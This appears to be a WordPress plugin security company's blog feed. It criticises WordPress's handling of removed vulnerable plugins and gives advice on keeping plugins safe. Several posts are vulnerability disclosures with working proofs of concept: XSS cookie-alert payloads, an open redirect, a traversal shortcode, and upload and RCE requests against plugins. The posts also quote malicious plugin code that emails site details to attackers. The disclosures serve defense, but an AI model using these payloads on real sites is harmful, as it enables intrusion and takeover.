17 Feb

WordPress Shutdowns Discussion of Their Refusal to Warn About Unfixed Vulnerable Plugins

Since 2012 we have been trying to get WordPress to start warning webmasters when their websites are using plugins that have been removed from the Plugin Directory due to security issues (and notify people in general that they are using plugins that have been removed from it). In the past WordPress’ position was that they were working on implementing this, but as of the last year the position has changed that they can’t do this because it would cause people to be “MORE at risk“. Not only does this not make sense, as we will come back to in a moment, but they don’t want to even honestly discuss the issue. For example, last July they even deleted a reply of ours on the Support forum pointing out that the handling of vulnerable plugins was not in as good shape as they were portraying it.

With that background it probably shouldn’t be surprising to see what happened to a recent thread on the wordpress.org Support Forum, which we previously mentioned, that was discussing the lack of notification when plugins are removed from the Plugin Directory. The head of the Plugin Directory decided to close that thread due to it being “non-productive”. It seemed plenty productive to us, as people were discussing better ways to handle things. The closing seems to us to be part of a continued lack of professionalism on part of people on the WordPress side, which really isn’t acceptable considering the widespread and high profile use of the software. Seeing as the person doing the closing is intimately involved in the issue being discussed, it doesn’t seem like they should be making the call to close the thread.

Before they closed it they got to have the last word, which makes the closing even more problematic. By closing the thread after that it doesn’t allow for others to try to help them understand that WordPress’ position on this is not only misguided, but is leading to websites being hacked that should not have been. Since we can’t reply in the now closed thread, we wanted to explain again why the position they are taking is so bad.

Here was there explanation on why they think it is a bad idea to warn people:

Since we remove plugins for many reasons, the minority of which being security related, we do not disclose the reason why any one particular plugin was removed. Our quite serious and valid concern is that if we were to disclose that a specific version was at risk without providing a fix, we would put people at a greater risk. In addition, by removing the plugin, we put pressure on the developers to address the situation promptly.

As we have discussed in more detail previously there a number of problems with that.

It starts with the fact that many vulnerabilities have already been disclosed publicly, so the bad guys are already aware of them. WordPress disclosing that the plugin is vulnerable provides less information than attackers would already have available to them. While that might cause more interest from attackers, it would also allows websites using the plugins to take action, say removing the plugin.

Then you have the fact that plenty of plugins are removed after a vulnerability is already being exploited (this something we know because we are frequently the ones that spot the exploitation and report the vulnerabilities to them). If WordPress were notifying people of the vulnerable plugin in this situation they could actually take action, while right now they are left open to being exploited. It is this fact that makes us wonder at times if there might not be a more nefarious reason for not warning people (the company closely associated with WordPress, Automattic, has a security service, VaultPress, for example).

Another problem with this idea is something the people running the Plugin Directory are aware of, which is that some vulnerable plugins are never fixed. One of the reasons we know they are aware of this is they are keeping track of how long a plugin is removed, as this part of their comment shows:

I promise you this: We ALWAYS contact the developers and do our best to make it clear what was required to have the plugin restored as quickly as possible. The average plugin is restored within a week.

Another reason we know that they know this is because it is clear that some vulnerable plugins are never going to be fixed. While most vulnerable plugins are vulnerable due to a coding mistake, there have been some plugins that are intentionally malicious. Take for instance a group of plugins we discussed back in October, where someone had copied existing plugins and submitted them to plugin directory with malicious code added to them. The developer would have no reason to release a new versions that removes the vulnerable code, as having that in the plugins was their only reason for creating them. Those plugins were also an example of another issue, even if vulnerabilities are never publicly disclosed, hackers can figure out that they existed and exploit them.

The threat that vulnerabilities pose varies widely, with many vulnerabilities having almost no chance of being exploited on the average website, so what matters the most in terms of unfixed vulnerabilities is if vulnerabilities that are being exploited or are likely to be exploited ever get fixed and how long it takes for that to happen. Two fairly recent examples show that relying on plugins being fixed by the developer is not taking care of those situations.

Take a vulnerability in the plugin Delete All Comments, which was discovered due to being the source of a hacked website. That plugin had 30,000+ active installs according to wordpress.org at the time it was removed in late November or early December, as of today it has not been fixed (it isn’t clear if the vulnerability was intentionally introduced or a coding mistake).

Back in July we spotted a vulnerability being exploited in the plugin Form Lightbox, which had 10,000+ active installs. We were not the only ones that had, as it was removed before we got around to notifying the Plugin Directory. That plugin had not been updated since 2013, so the chances of it being updated seemed low at the time, and in fact it still hasn’t been fixed.

WordPress does have another option available to them if they truly wanted to protect people, but don’t want to warn people about unfixed vulnerabilities. They can fix the plugins themselves, they even have the ability force websites to update to the new version. They have done that on very limited occasions. Like much of their handling of security, what the criteria for them doing that are not clear. That would also require more work than simply alerting people to vulnerable plugins, but since they don’t want to do that, it seems like what they should be doing if they truly were interested in keeping people safe. If they become interested in expanding when they do that, we would be happy to help.

Protecting Yourself in The Meantime

Seeing as we are often the ones that report to the Plugin Directory that a plugin has a vulnerability, whether something we discovered or something that was disclosed by someone else, but not reported to them, using our service will get you alerted to most of the vulnerabilities they are likely aware of. You also are provided with an estimate of how likely the vulnerability is to be exploited and we are available to help you make the best decision on what to do if the vulnerability in the plugin has yet to be fixed (maybe you can ignore the vulnerability or maybe we can provide you with a workaround until a proper fix is released by the developer).

Because we don’t want people to be hacked, in the companion plugin for our service we include data on vulnerabilities in plugins we see hackers targeting, so you would have been long ago warned if you were using any of the plugins with vulnerabilities we previously mentioned in this post.

With our service you also get suggest/vote for plugins to receive security reviews by us, so you have better assurance that plugins you use are properly secured.

17 Feb

Reflected Cross-Site Scripting (XSS) Vulnerability in Time Sheets

We recently found that the Time Sheets plugin contains a reflected cross-site scripting (XSS) vulnerability on one the plugin’s admin pages, Old Timesheets.

As of version 1.3.1, in the file /entry.php the GET inputs “start_date”, “end_date”, and “include_completed” were echo’d out with being sanitized or escaped to prevent malicious code from being placed on the page:

$start_date = $_GET['start_date'];
$end_date = $_GET['end_date'];

if ($start_date=='') {
 $start_date = date('Y-m-d', strtotime("-1 Year"));
if ($end_date=='') {
 $end_date = date('Y-m-d', strtotime("+1 Day"));

echo '<form method="get">';
echo "Enter Range To Search: ";
echo "<input type='text' name='start_date' size='10' value='{$start_date}'>";
echo " to ";
echo "<input type='text' name='end_date' size='10' value='{$end_date}'>";
echo "<br><input type='checkbox' name='include_completed' value='checked' {$_GET['include_completed']}> Include Completed Timesheets";

We notified the developer of the issue, but we haven’t heard back from them. Subsequent to that version 1.4.0 was released, which sanitizes two of those GET inputs,  “start_date” and “end_date”, by running them through a couple of the plugin’s functions:

$start_date = $common-&gt;f_date($common-&gt;clean_from_db($_GET['start_date']));
$end_date = $common-&gt;f_date($common-&gt;clean_from_db($_GET['end_date']));

No change was made related to third GET input “include_completed”, so the change with the others could be unrelated to our notifying the developer of the issue.

Proof of Concept

The following proof of concept will cause any available cookies to shown in alert box. Major web browsers other than Firefox provide XSS filtering so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?start_date=2017-02-02&end_date=2017-02-03&submit=Search&page=search_timesheet&include_completed='><script>alert(document.cookie);</script>


  • February 2, 2017: Developer notified.
  • February 17, 2017 – WordPress.org Plugin Directory notified.
  • February 17, 2017 – Plugin removed from WordPress.org Plugin Directory.
17 Feb

Open Redirect Vulnerability in GTranslate

Recently while looking in to what turned out to be unrelated probing from a hacker for WordPress plugins we took a look at the plugin GTranslate and found that it has an open redirect vulnerability.

In the file /url_addon/gtranslate.php a redirect will occur if two variables are the same:

if($glang == $main_lang) {
    header('Location: ' . $page_url, true, 301);

The variable $main_lang is currently hardcoded to “en” in the file /url_addon/config.php and the value of the other is set to the value of the GET input “glang”:

$glang = $_GET['glang'];

The value of $page_url, which is where the redirect occurs to is generated with the following code:

$page_url = '/'.$_GET['gurl'];
$page_url_segments = explode('/', $page_url);
foreach($page_url_segments as $i => $segment) {
    $page_url_segments[$i] = rawurlencode($segment);
$page_url = implode('/', $page_url_segments);

By specifying a value for the GET input “gurl” that starts with a “/” and the includes a URL without the protocol, the value of $page_url will be the URL with “//” before it, which tells the web browser to redirect to URL with whatever protocol the current page has. The protocol would either be http:// or https:// depending on which one you used with the request to /url_addon/config.php.

We contacted the developer about the issue and got an automated response that they would respond soon, but we haven’t heard from them since.

Proof of Concept

The following proof of concept will redirect you to our website.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/gtranslate/url_addon/gtranslate.php?glang=en&gurl=/www.pluginvulnerabilities.com


  • February 3, 2017 – Developer notified.
  • February 17, 2017 – WordPress.org Plugin Directory notified.
  • February 17, 2017 – Removed from WordPress.org Plugin Directory.
13 Feb

Applying the Lessons of Recent WordPress Defacements to the Handling of Plugins on Your Website

Recently quite a few WordPress websites (though not as many as the inflated claims by Wordfence and other security companies would have you believe) have been defaced due in large part to improper handling of security by the webmasters of those websites. While an exploitable vulnerability existed in 4.7.0 and 4.7.1, most websites running WordPress 4.7 at the time were protected well before exploitation began due to the fact that the websites were promptly updated to 4.7.2 through WordPress’ automatic background updates, which have been in WordPress since version 3.7. The websites defaced were either ones were those automatic updates don’t work (which from our experience isn’t often) or where people had intentionally disabled them and then failed to promptly manually update.

The lessons from that when it comes to WordPress itself is that you should make sure the automatic background updates are working, not disable them, and that minor updates are the ones that should be applied promptly. Considering that when it comes to a WordPress website being hacked, this is the first time in years that there has been a vulnerability in WordPress has been the source of many hacked websites and plugins on the other hand are a source in a fairly continually basis, how can what happened here be used to take better care when it comes to plugins.

Keeping Plugins Up to Date

The first lesson is keeping your software up to date is critical to keeping the website secure, as vulnerabilities will exists in software for the foreseeable future and new versions will need to be released when they are found. Unless you are going to constantly monitor your website, your best option for keeping plugins up to date is to have the updates applied automatically, like the update to WordPress 4.7.2 would normally have happened. WordPress actually has the ability to do that already, as the automatic background updates functionality has the ability to do all updates automatically, including major WordPress, plugin, theme, translation updates. By default those are all disabled, leaving only minor WordPress updates to happen automatically. One option for turning them on is to use our Automatic Plugin Updates plugin, which enables the functionality for plugins updates, along with the ability to exclude certain plugins from automatically happening and control whether an email is sent out when the automatic update occurs.

You Won’t Always Know About Security Updates

One of the complaints we have seen with the handling the vulnerability WordPress is not enough notice was given. That doesn’t really square with what happened. While this particular vulnerability was not disclosed at the time the new version was released to limit the damage that could be done, it was quite clear that 4.7.2 was security update. The announcement post was titled “WordPress 4.7.2 Security Release” and the post starts out:

WordPress 4.7.2 is now available. This is a security release for all previous versions and we strongly encourage you to update your sites immediately.

The announcement originally went on to describe the three other vulnerabilities that were fixed in the version (no non-security fixes were included).

When it comes to plugin updates that fix security vulnerabilities there is good chance that you won’t know that is the updates includes a security fix. Back in December 2014 we looked at the publicly disclosed vulnerabilities that we had in our data set of vulnerabilities at the time and we found that in nearly 20 percent of the time there was no mention made that a security fix was included in the changelog entries for the version that fixed the vulnerability. The severity of vulnerabilities varies widely so the percentage of fixes that go unmentioned alone doesn’t tell the whole story. Take one of the security updates, it involved a vulnerability that was already being exploited prior to a version being released to fix it. The changelog for the version that fixed it read:

The possibility of manipulating custom themes has been removed by request of administration of wordpress.org plugins repository.

Would anyone guess that referred to such a serious vulnerability?

Get Warned About Known Vulnerable Plugins

In the case of the WordPress vulnerability it was quickly fixed after being reported, but our experience of collecting data on numerous plugin vulnerabilities and discovering many of them (including many that are already being exploited), is that many of them are not promptly fixed or ever fixed. As long as WordPress refuses to alert people when they are using plugins they know to be vulnerable, that creates an obvious risk even if you keep your plugins update.

We provide two options to help protect you against such a situation. First is the companion plugin for our service includes in data on vulnerabilities in plugins that we see hackers targeting. Second, by using our service you get access to more complete data, as well support on how best to deal with such a situation. Maybe you can safely ignore a minor vulnerability, maybe we can provide you with a temporary fix until the plugin is properly fixed, or maybe the plugin is completely insecure and shouldn’t be used. Whatever is the case, we will work with you to make the decision for your website. The service also allows you to participate in deciding what plugins will get security reviews done by us, so that you can have better assurance that the plugin you use are properly secured.

For those where our service isn’t in your budget you can get expanded data beyond what is available for free with our plugin by pairing that with a plugin that uses data from the WPScan Vulnerability Database (do a search on the Plugin Directory for “wpscan” to find those). We strongly recommend against relying on their data along since they are missing many vulnerabilities included in our plugin’s data. Not surprisingly considering that they fail to include data that they could easily copy from our plugin, there are several major issues with WPScan data, which makes it a bad option if you can afford our service.

Remove Unused Plugins

Some vulnerabilities are exploitable even if the plugin is deactivated, so if you are no longer using a plugin the best thing you can do is to remove it, as you remove any risk that it introduces.

Security Plugins Won’t Do Much to Protect You

While security plugins makes all sorts of promises about the ability to protect your website, the reality from our testing them against real vulnerabilities in plugins is that they provide little to no protection against vulnerabilities in other plugins. Take a vulnerability disclosed back in December in the plugin Delete All Comments, which had 30,000+ active installs at the time, that was discovered when it was exploited on a website and still hasn’t been fixed. We found that none of the 15 plugins, including all of the most popular ones, protected against exploitation in our test.

The developer of one of the most popular security plugins, BulletProof Security, recently told us that “it is outside of the scope or intended purpose for any security plugins” to protect against vulnerabilities in other plugins.

13 Feb

Vulnerability Details: Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in BP Better Messages

This post's content is only accessible to those who have an active account with our service.

If you currently have one then please log in to view the content.

If you don't currently have one, you can get free access to this content, as when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to this post's content).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

13 Feb

Authenticated Local File Inclusion (LFI) Vulnerability in Posts in Page

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor hacking attempts on our websites. Through that we recently came across a request for a file, /wp-content/plugins/posts-in-page/assets/posts_in_page_help_view.php, from the plugin Posts in Page.

Nothing in that file looks like it could be exploited, so it looks like that request was instead probing for usage of the plugin. In looking over the rest of the code of the plugin we did find one vulnerability, that might be of more interest to hackers with the recent exploitation of a vulnerability in WordPress 4.7.0 and 4.7.1 that allowed an attacker to modify posts.

In the file /lib/page_posts.php we first found that it looked like it might be possible for arbitrary files to be included through the following that requires a specified file:

require ( $file_path = self::has_theme_template() )
	? $file_path // use template file in theme
	: POSTSPAGE_DIR . '/posts_loop_template.php'; // use default plugin template file

The function has_theme_template called there looks like this:

protected function has_theme_template() {
	$template_file = ( $this->args['template'] )
		? get_stylesheet_directory()  . '/' . $this->args['template'] // use specified template file
		: get_stylesheet_directory() . '/posts_loop_template.php'; // use default template file
	return ( file_exists( $template_file ) ) ? $template_file : false;

The value of $this->args[‘template’] in that comes from the “template” attribute of the plugin’s shortcode. There is no restriction on who can use that shortcode or attribute, so contributor-level and above users can cause any file on the website to be included through the use of directory traversal, which is an authenticated local file inclusion (LFI) vulnerability.

For author-level and above users there is a more serious issue as they have ability to upload media through WordPress. It is possible to upload media file that contain PHP code in them. Normally that code would not be able to run because the file extension of the file would not be one that causes the web server to execute it, but including such a file through a vulnerability like this would allow it to run.

Proof of Concept

When logged in as user that can add new posts, adding the following proof of concept to a post’s content will include a file named test.php from the root directory when viewing the resulting post (it will be included even when previewing the post):

[ic_add_posts template='../../../test.php']


  • February 8, 2016 –  Developer notified.
  • February 13, 2017 – WordPress.org Plugin Directory notified.
  • February 13, 2017 – Vulnerability added to the free data included with our services’s companion plugin.
  • February 14, 2017 – Version 1.3.0 released, which fixes vulnerability.
13 Feb

Vulnerability Details: Remote Code Execution (RCE) Vulnerability in Stats Wp

Back in October we discussed our spotting a prob for usage of a group of intentionally malicious plugins that someone had created several years ago. What was notable about this was that that whomever was behind those plugins should not have needed to do that to find what websites were using them because the plugins had code in them that sent an email with the address of the website whenever the plugin was activated or deactivated. That would seem to indicate that someone else had found out about these plugins and was trying to exploit them. That is significant because part of the reason that people on the WordPress team have given for not warning people about their use of known vulnerable plugins, is that the say that if they did that more people would be able to exploit the vulnerabilities, which in this case looks to be happening despite there not being evidence we could find that there had been a disclosure that all these plugins were vulnerable. Something we ran across recently seems to provide further evidence that it was not the not the person behind creating those plugins that was doing that probing and therefore someone else had found that vulnerability existed in those plugins.

As part of series of requests probing for vulnerable plugins on one of our websites recently we had a request for /wp-content/plugins/stats-wp/js/luc.ajax.geoip.js, from the plugin Stats Wp. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

In looking at the plugin’s code, it looks to have been another plugin created by the same person as the rest.

Here is the code from one of the previous plugins that notified the creator when the plugin was activated:

function wppopupplugin_activate() { 
$yourip = $_SERVER['REMOTE_ADDR'];
$filename = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/wp-popup/id.txt';
fwrite($fp, $yourip);
add_option('wppopupdored_do_activation_redirect', true);
session_start(); $subj = get_option('siteurl'); $msg = "WP Popup Installed" ; $from = get_option('admin_email'); mail("davidceruliowp@gmail.com", $subj, $msg, $from);

And here it is from Stats Wp:

function analyticstatisticsplugin_activate() { 
$filename = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/stats-wp/widget.txt';
fwrite($fp, $wip);
add_option('analyticstatisticsdored_do_activation_redirect', true);
session_start(); $subj = get_option('siteurl'); $msg = "Stats Installed" ; $from = get_option('admin_email'); mail("joshforyou1@gmail.com", $subj, $msg, $from);

The most series part of the malicious code in the previously discussed plugins permitted remote code execution. The contents of the file setup.php in this plugin is nearly identical to the code that did that we showed from a couple of the previous plugins for doing that:

$installit = $_POST['install'];
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/stats-wp/install.php', 'w');
$installit = str_replace('\\', '', $installit);
$installit = htmlentities($installit);
fwrite($fp, html_entity_decode($installit));
echo $installit;

Proof of Concept

The following proof of concept will place the specified PHP code in to the file install.php in the directory /wp-content/plugins/stats-wp/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<form action="http://[path to WordPress]/wp-content/plugins/stats-wp/setup.php" method="POST">
<input type="hidden" name="install" value="[PHP code]" />
<input type="submit" value="Submit" />
13 Feb

Vulnerability Details: Arbitrary File Upload Vulnerability in Web Tripwire

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor hacking attempts on our websites. Through that we recently came across a request for a file, /web-tripwire/js/swfobject.js, from the plugin Web Tripwire. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Looking at the plugin it has a copy of the library Open Flash Charts, which was discovered to have an arbitrary file upload vulnerability in 2009. In the case of this plugin a new version was never released to fix the issue.

The vulnerability exists at /includes/ofc/ofc_upload_image.php in this plugin. The file takes raw post data and saves it in a file with a name specified by the GET input “name”:

$default_path = '../tmp-upload-images/';
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] ); 
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);

Proof of Concept

The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/plugins/web-tripwire/includes/tmp-upload-images/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

$curl = curl_init();
$headers = array('Content-Type: text/plain');
$data ="[PHP CODE]";
curl_setopt($curl, CURLOPT_URL, 'http://[path to WordPress]/wp-content/plugins/web-tripwire/includes/ofc/ofc_upload_image.php?name=test.php');
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
08 Feb

A Simple Redirection Was Enough to End an Attempt to Exploit Vulnerable WordPress Plugins

We often see security companies try to make hackers sound very scary and sophisticated in what appears to be an attempt to make it more likely that people will purchase their products and services, but the reality is often quite different. While there do seem to be some sophisticated efforts to exploit vulnerabilities in WordPress plugins, including cases where hackers look to be the ones that have discovered vulnerabilities that exist in plugins (for which we are often the ones that then detect that), a lot of hacking attempts are decidedly not that.

In the past we talked about the correlation between what plugin vulnerabilities get exploited and what vulnerabilities there are YouTube videos on how to exploit, which doesn’t really sound like something you would expect from sophisticated actors. In another instances we spotted a hacker incorrectly trying to exploit a vulnerability in a plugin that only 60+ active installs. We recently came across another example of how poor some of the attempts are.

While reviewing the logs of this website to see how often and when there had been hacker activity related to one plugin with a vulnerability in it, we came across a series of requests probing for usage of quite a few WordPress plugins with known vulnerabilities. What is show below won’t necessarily mean much if you are unfamiliar what is shown in log files, but the important element here is that the number 301 included on each of those lines: - - [17/Jan/2017:22:36:58 -0500] "GET /wp-content/plugins/weever-apps-20-mobile-web-apps/static/js/config/wx.tabtypes.js HTTP/1.0" 301 637 "-" "-" - - [17/Jan/2017:22:36:58 -0500] "GET /wp-content/plugins/dop-slider/libraries/js/jquery.uploadify.min.js HTTP/1.0" 301 607 "-" "-" - - [17/Jan/2017:22:36:59 -0500] "GET /wp-content/plugins/developer-tools/js/developer-tools.js HTTP/1.0" 301 587 "-" "-" - - [17/Jan/2017:22:36:59 -0500] "GET /wp-content/plugins/social-networking-e-commerce-1/js/effects.js HTTP/1.0" 301 601 "-" "-"

The significance of that is that 301 in that location indicates that the requester was told that the requested URL has permanently moved to another location. In this case the cause of that is likely that the URLs were requested without the “www.” portion of our website’s address or they were requested using HTTP instead of HTTPS. What should happen next is that a request should be made to the new URL that was sent back with the previous request. That didn’t happen, so if we were using any of those plugins the hacker would not have found out that we were using it and then moved on to trying to exploit it. We don’t use any of the plugins they were probing for, but someone that did could have been saved from being hacked by this. Handling a 301 redirect is relatively basic task when making requests to web pages, so it shouldn’t be something that doesn’t get properly handled in this type of situation.

07 Feb

Persistent Cross-Site Scripting (XSS) Vulnerability in XO Security

When it comes to trying to improve the security surrounding WordPress one of the big impediments is the security industry. One of the things we see them doing is providing misleading and sometimes outright false information to the public about security. One outright falsehood that has been widely spread is that there are lots of brute force attacks against WordPress admin passwords, when based on security companies own evidence are not happening at all. What is really happening are dictionary attacks, which involve an attacker try to login using common passwords. That type of attack is easily protected against by using a strong password, something that WordPress does a good job of helping you do. What might explain why security companies are saying something that isn’t true here is so that they can use the false claim to promote their plugins and services, like we have found Wordfence doing. The problem with this is that every plugin on the website introduces the possibility of a vulnerability, including security plugins.

Take the plugin XO Security that we recently ran across, which is promoted as providing “enhanced login security.” It provides a number of features and by default it will log login attempts. That involves storing and outputting user input data, which needs to be properly handled, but in that wasn’t happening, which was allowing for persistent cross-site scripting (XSS).

When a failed login attempts occurs the plugin’s function failed_login(), in the file /main.php, is run. If the failed login attempt doesn’t involve a username that already exists on the website, the password was logged without being sanitized in version 1.5.2:

function failed_login( $user_name ) {
	global $wpdb;
	$login_time = current_time( 'mysql' );
	$ip_address = $this->get_ipaddress();
	$lang = $this->get_language();
	$user_agent = $this->get_user_agent();
	$password = filter_input ( INPUT_POST, 'pwd' );
	if ( get_user_by( 'login', $user_name ) ) {
		$password = null;
	$wpdb->insert( $this->loginlog_table, array(
		'success' => false,
		'login_time' => $login_time,
		'ip_address' => $ip_address,
		'lang' => $lang,
		'user_agent' => $user_agent,
		'user_name' => $user_name,
		'failed_password' =>F% $password
	) );

When the data was output on the page /wp-admin/users.php?page=xo-security-login-log in 1.5.2  there was no escaping of the password value (in the file /admin.php):

$datas = $wpdb->get_results( $wpdb->prepare(
	"SELECT `id`,`success`,`login_time` as `logintime`,`ip_address` as `ipaddress`,`lang`,`user_agent` as `useragent`,`user_name` as `loginname`,`failed_password` as `failedpassword`" .
	"FROM {$loginlog_table}{$where} ORDER BY `{$orderby}` {$order} LIMIT %d, %d;", $start, $per_page
), 'ARRAY_A' );
$this->items = $datas;
$this->set_pagination_args( array( 'total_items' => $total_items, 'per_page' => $per_page, 'total_pages' => ceil( $total_items / $per_page ) ) );

After we notified the developer of the vulnerability they released version 1.5.3, which fixed it by running the password value through esc_html() when saving it and when outputting it.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box when visiting the page /wp-admin/users.php?page=xo-security-login-log.

Attempt to login into WordPress with a username that doesn’t exist on the website and the following as the password:



  • February 6, 2017 – Developer Notified
  • February 7, 2017 – Version 1.5.3 released, which fixes vulnerability.